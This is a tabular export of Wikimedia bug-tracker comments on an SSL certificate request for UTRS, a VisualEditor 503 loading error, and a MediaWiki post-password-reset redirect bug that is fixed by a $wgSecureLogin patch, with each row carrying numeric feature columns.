271847,SSL Certificate for UTRS on wmflabs.org,"No reply - closing as per comment 3. 
TParis: Please reopen if this is not sufficient.",,,1388659862,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c2,3,True,,,18,True,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.55,0.95,"No reply - closing as per comment 3. 
TParis: Please reopen if this is not sufficient."
271843,SSL Certificate for UTRS on wmflabs.org,Can this be closed?  We can now use the proxy system to encrypt web traffic.,,,1387482581,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c2,3,False,,,16,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,1.0,Can this be closed?  We can now use the proxy system to encrypt web traffic.
271837,SSL Certificate for UTRS on wmflabs.org,"**tparis.wiki** wrote:

Yes, that's the correct URL.  Yubipanda said he may set up a proxy to encrypt the data instead of an SSL certificate which is fine, but asked me to open this ticket as well.",,,1384259345,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c2,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,2.0,8.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,4.0,8.0,6.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,3.3958333333333335,0.8541666666666666,"**tparis.wiki** wrote:

Yes, that's the correct URL.  Yubipanda said he may set up a proxy to encrypt the data instead of an SSL certificate which is fine, but asked me to open this ticket as well."
271828,SSL Certificate for UTRS on wmflabs.org,"Please provide more information. 
http://utrs.wmflabs.org/ probably?

Also see bug 55957 comment 1. Bug 53175 is a similar request.",,,1384255208,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jag2rypjyxauvwi4iuft,task_subcomment,,True,c2,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,3.9166666666666665,0.9166666666666666,"Please provide more information. 
URL probably?

Also see bug 55957 comment 1. Bug 53175 is a similar request."
58584,"VisualEditor: ""Error loading data from server:parsoidserver-http-bad-status:503"" shows while attempting to edit using VE","Error message

Steps to reproduce:
Click on the edit button

Observed Result:
""Error loading data from server:parsoidserver-http-bad-status:503"" shows while attempting to edit using VE

See the screenshot attached

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12683}",Needs Triage,90.0,1383598080,1383598243.0,PHID-USER-24djtv3gj5gua2y6u2g5,False,,False,PHID-TASK-72rziu6fsgfsmc5bjdnx,task_description,resolved,True,c2,3,False,False,True,9,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.9178082191780823,0.589041095890411,"Error message

Steps to reproduce:
Click on the edit button

Observed Result:
""Error loading data from server:parsoidserver-http-bad-status:503"" shows while attempting to edit using VE

See the screenshot attached

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12683}"
277986,"VisualEditor: ""Error loading data from server:parsoidserver-http-bad-status:503"" shows while attempting to edit using VE","Fallout from fixing bug 56583. Should be okay now.

*** This bug has been marked as a duplicate of bug 56583 ***",,,1383598243,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-72rziu6fsgfsmc5bjdnx,task_subcomment,,True,c2,3,True,,,9,True,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,10.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.1724137931034484,0.6896551724137931,"Fallout from fixing bug 56583. Should be okay now.

*** This bug has been marked as a duplicate of bug 56583 ***"
59289,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","* 1.23wmf3 (e2e9b85)

Scenario:

+ en.wikipedia.org as of 2013-11-20
+ go to ""Reset Password"" page and trigger the I-forgot-my-passwort e-mail-password mail
+ come back to the login page
+ enter the temporary password
+ you are now correctly asked to change your password (=mandatory password change after login with temporary password)
+ after a successful password change you will see

Bug:
===

page title after successful password change is (still): 

""Change Password""

URL is: 

""https://en.wikipedia.org/w/index.php?title=Special:ChangePassword&returnto=&returntoquery=&fromhttp=1""

with unsuited information on it:

""You must be logged in to access this page directly.""

This is striclty reproducible.

--------------------------
**Version**: 1.23.0
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=57098
https://bugzilla.wikimedia.org/show_bug.cgi?id=57065",High,80.0,1384939200,1385149062.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-jz2kosktxmdbzxu36qjm,task_description,resolved,True,c2,3,False,False,True,12,True,0.0,0.0,0.0,1.0,0.0,5.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,7.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,1.5,0.5,0.0,2.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,17.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,3.0,9.5,0.0,3.5,3.0,0.0,0.0,0.0,0.0,4.0,0.0,2.5,0.0,3.5,7.0,4.5,0.0,4.0,0.0,3.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.52991118077325,0.5597570532915361,"* 1.23wmf3 (e2e9b85)

Scenario:

+ en.wikipedia.org as of 2013-11-20
+ go to ""Reset Password"" page and trigger the I-forgot-my-passwort e-mail-password mail
+ come back to the login page
+ enter the temporary password
+ you are now correctly asked to change your password (=mandatory password change after login with temporary password)
+ after a successful password change you will see

Bug:
===

page title after successful password change is (still): 

""Change Password""

URL is: 

""URL

with unsuited information on it:

""You must be logged in to access this page directly.""

This is striclty reproducible.

--------------------------
**Version**: 1.23.0
**Severity**: major
**See Also**:
URL
URL"
268514,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change",Tyler: okay. I understand this from a discussion in the chat some minutes ago. ty,,,1385149287,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.7222222222222223,0.9444444444444444,Tyler: okay. I understand this from a discussion in the chat some minutes ago. ty
268513,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","That's because the fix has not been deployed yet. However, the actual bug in question has been resolved in master.",,,1385149062,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,8.0,4.0,4.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9583333333333335,0.7916666666666666,"That's because the fix has not been deployed yet. However, the actual bug in question has been resolved in master."
268511,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","In www.mediawiki,org : Not solved


After changing the password, see http://i.imgur.com/7ADHPHH.png

URL:

https://www.mediawiki.org/w/index.php?title=Special:ChangePassword&returnto=&returntoquery=&fromhttp=1

Problem is not solved, in my view.",,,1385146958,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.466666666666667,0.7333333333333333,"In www.mediawiki,org : Not solved


After changing the password, see URL

URL:

URL

Problem is not solved, in my view."
268509,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96994 merged by MarkAHershberger:
Fix login with temporary password with $wgSecureLogin = true

https://gerrit.wikimedia.org/r/96994",,,1385136927,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.315789473684211,0.9473684210526315,"Change 96994 merged by MarkAHershberger:
Fix login with temporary password with $wgSecureLogin = true

GERRIT_URL"
268506,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96970 merged by MarkAHershberger:
Fix login with temporary password with $wgSecureLogin = true

https://gerrit.wikimedia.org/r/96970",,,1385136549,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.315789473684211,0.9473684210526315,"Change 96970 merged by MarkAHershberger:
Fix login with temporary password with $wgSecureLogin = true

GERRIT_URL"
268502,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96994 had a related patch set uploaded by MarkAHershberger:
Fix login with temporary password with $wgSecureLogin = true

https://gerrit.wikimedia.org/r/96994",,,1385131027,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.083333333333333,0.9583333333333334,"Change 96994 had a related patch set uploaded by MarkAHershberger:
Fix login with temporary password with $wgSecureLogin = true

GERRIT_URL"
268497,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","For the record, the cause of this bug is from Ia0a61e98fbff7 ( https://gerrit.wikimedia.org/r/93425), which introduced WebRequest::getProtocol as an instance method rather than the previous practice of always using WebRequest::detectProtocol, which is static.",,,1385123160,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,14.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,5.45945945945946,0.8108108108108109,"For the record, the cause of this bug is from Ia0a61e98fbff7 ( GERRIT_URL), which introduced WebRequest::getProtocol as an instance method rather than the previous practice of always using WebRequest::detectProtocol, which is static."
268491,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96970 had a related patch set uploaded by IAlex:
Fix login with temporary password with $wgSecureLogin = true

https://gerrit.wikimedia.org/r/96970",,,1385113056,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.625,0.9583333333333334,"Change 96970 had a related patch set uploaded by IAlex:
Fix login with temporary password with $wgSecureLogin = true

GERRIT_URL"
268484,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","screenshot of the page after successfully having entered the temp.password and 2x the new password:

+ http://i.imgur.com/IDNp8W4.png",,,1385102463,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.7894736842105265,0.8947368421052632,"screenshot of the page after successfully having entered the temp.password and 2x the new password:

+ URL"
268477,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","(In reply to comment #5)
> Is this still happening? I'm not able to reproduce it. Just to confirm,
> 
> * I enter my username and temp password, click login
> * I get the change password form. I'm not logged in. Old password is
> pre-filled.
> * I enter in a new password (twice), and click submit.
> * I'm taken back to Main_Page, and I'm logged in.
> 
> Am I missing a step?

Yes, certainly.
I still can reproduce my findings as in the first comment, and as confirmed by André in https://bugzilla.wikimedia.org/show_bug.cgi?id=57289#c3


Please reproduce step-by-step:


Scenario:

+ en.wikipedia.org as of 2013-11-22
+ go to ""Reset Password"" page and trigger the I-forgot-my-passwort
e-mail-password mail
+ come back to the login page
+ enter the temporary password
+ you are now correctly asked to change your password (=mandatory password
change after login with temporary password)
+ after a successful password change you will see

""Change Password"" (=page title)
""You must be logged in to access this page directly.""

URL is: 
""https://en.wikipedia.org/w/index.php?title=Special:ChangePassword&returnto=&returntoquery=&fromhttp=1""

This is *strictly* reproducible. Raising severity to ""major"" because it relates to a password issue, which could point to critical bug.",,,1385102235,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.6666666666666666,0.0,3.6666666666666665,0.0,0.3333333333333333,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,2.6666666666666665,8.333333333333334,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,1.6666666666666667,0.6666666666666666,0.3333333333333333,1.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,12.333333333333334,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.6666666666666667,9.666666666666666,0.3333333333333333,2.6666666666666665,3.6666666666666665,0.0,0.0,0.0,0.3333333333333333,4.0,0.6666666666666666,1.3333333333333333,0.0,3.0,8.333333333333334,6.666666666666667,0.0,4.0,0.0,3.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,3.5294117647058822,0.6176470588235294,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, certainly.
I still can reproduce my findings as in the first comment, and as confirmed by André in URL


Please reproduce step-by-step:


Scenario:

+ en.wikipedia.org as of 2013-11-22
+ go to ""Reset Password"" page and trigger the I-forgot-my-passwort
e-mail-password mail
+ come back to the login page
+ enter the temporary password
+ you are now correctly asked to change your password (=mandatory password
change after login with temporary password)
+ after a successful password change you will see

""Change Password"" (=page title)
""You must be logged in to access this page directly.""

URL is: 
""URL

This is *strictly* reproducible. Raising severity to ""major"" because it relates to a password issue, which could point to critical bug."
268470,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Is this still happening? I'm not able to reproduce it. Just to confirm,

* I enter my username and temp password, click login
* I get the change password form. I'm not logged in. Old password is pre-filled.
* I enter in a new password (twice), and click submit.
* I'm taken back to Main_Page, and I'm logged in.

Am I missing a step?",,,1385092299,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,1.0,2.0,4.0,1.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,10.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,7.0,0.0,2.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0898876404494384,0.5617977528089888,"Is this still happening? I'm not able to reproduce it. Just to confirm,

* I enter my username and temp password, click login
* I get the change password form. I'm not logged in. Old password is pre-filled.
* I enter in a new password (twice), and click submit.
* I'm taken back to Main_Page, and I'm logged in.

Am I missing a step?"
268464,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","> Needed to log in once again. Meh.

just to say it very kindly again in case it has been overlooked:
> __perhaps_(!)_ the fix of https://bugzilla.wikimedia.org/show_bug.cgi?id=57098 solves this, too.",,,1385071451,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.611111111111111,0.8888888888888888,"QUOTE

just to say it very kindly again in case it has been overlooked:
QUOTE"
268457,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Thanks for taking the time to report this!

Confirming:

- logged out
- went to https://en.wikipedia.org/wiki/Special:PasswordReset
- enter username
- Get ""A password reset email has been sent.""
- Check mail
- Copy temp password
- In browser, click ""Log in"" in upper corner which now links to https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Special%3APasswordReset
- Enter username and temp password
- Get ""Change password - You logged in with a temporary emailed code. To finish logging in, you must set a new password here:""

Result:
- ""Change password - You must be logged in to access this page directly.""
Needed to log in once again. Meh.",,,1385068639,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,1.5,0.0,3.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,0.5,4.5,10.0,0.0,2.0,1.5,0.0,0.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,2.5,0.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,2.5,1.5,12.5,0.0,1.0,4.5,0.0,0.0,0.5,0.0,8.0,0.0,0.0,0.0,2.5,10.0,2.0,0.0,5.0,0.0,2.5,0.0,0.5,2.0,0.0,1.5,0.0,0.0,0.0,3.30958842152872,0.6540027137042063,"Thanks for taking the time to report this!

Confirming:

- logged out
- went to URL
- enter username
- Get ""A password reset email has been sent.""
- Check mail
- Copy temp password
- In browser, click ""Log in"" in upper corner which now links to URL
- Enter username and temp password
- Get ""Change password - You logged in with a temporary emailed code. To finish logging in, you must set a new password here:""

Result:
- ""Change password - You must be logged in to access this page directly.""
Needed to log in once again. Meh."
268452,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","(In reply to comment #1)
> perhaps the fix of https://bugzilla.wikimedia.org/show_bug.cgi?id=57065
> solves
> this.
^wrong

I meant:

See 
https://bugzilla.wikimedia.org/show_bug.cgi?id=57098 SpecialPasswordReset when called does not obey an optional returnto parameter 

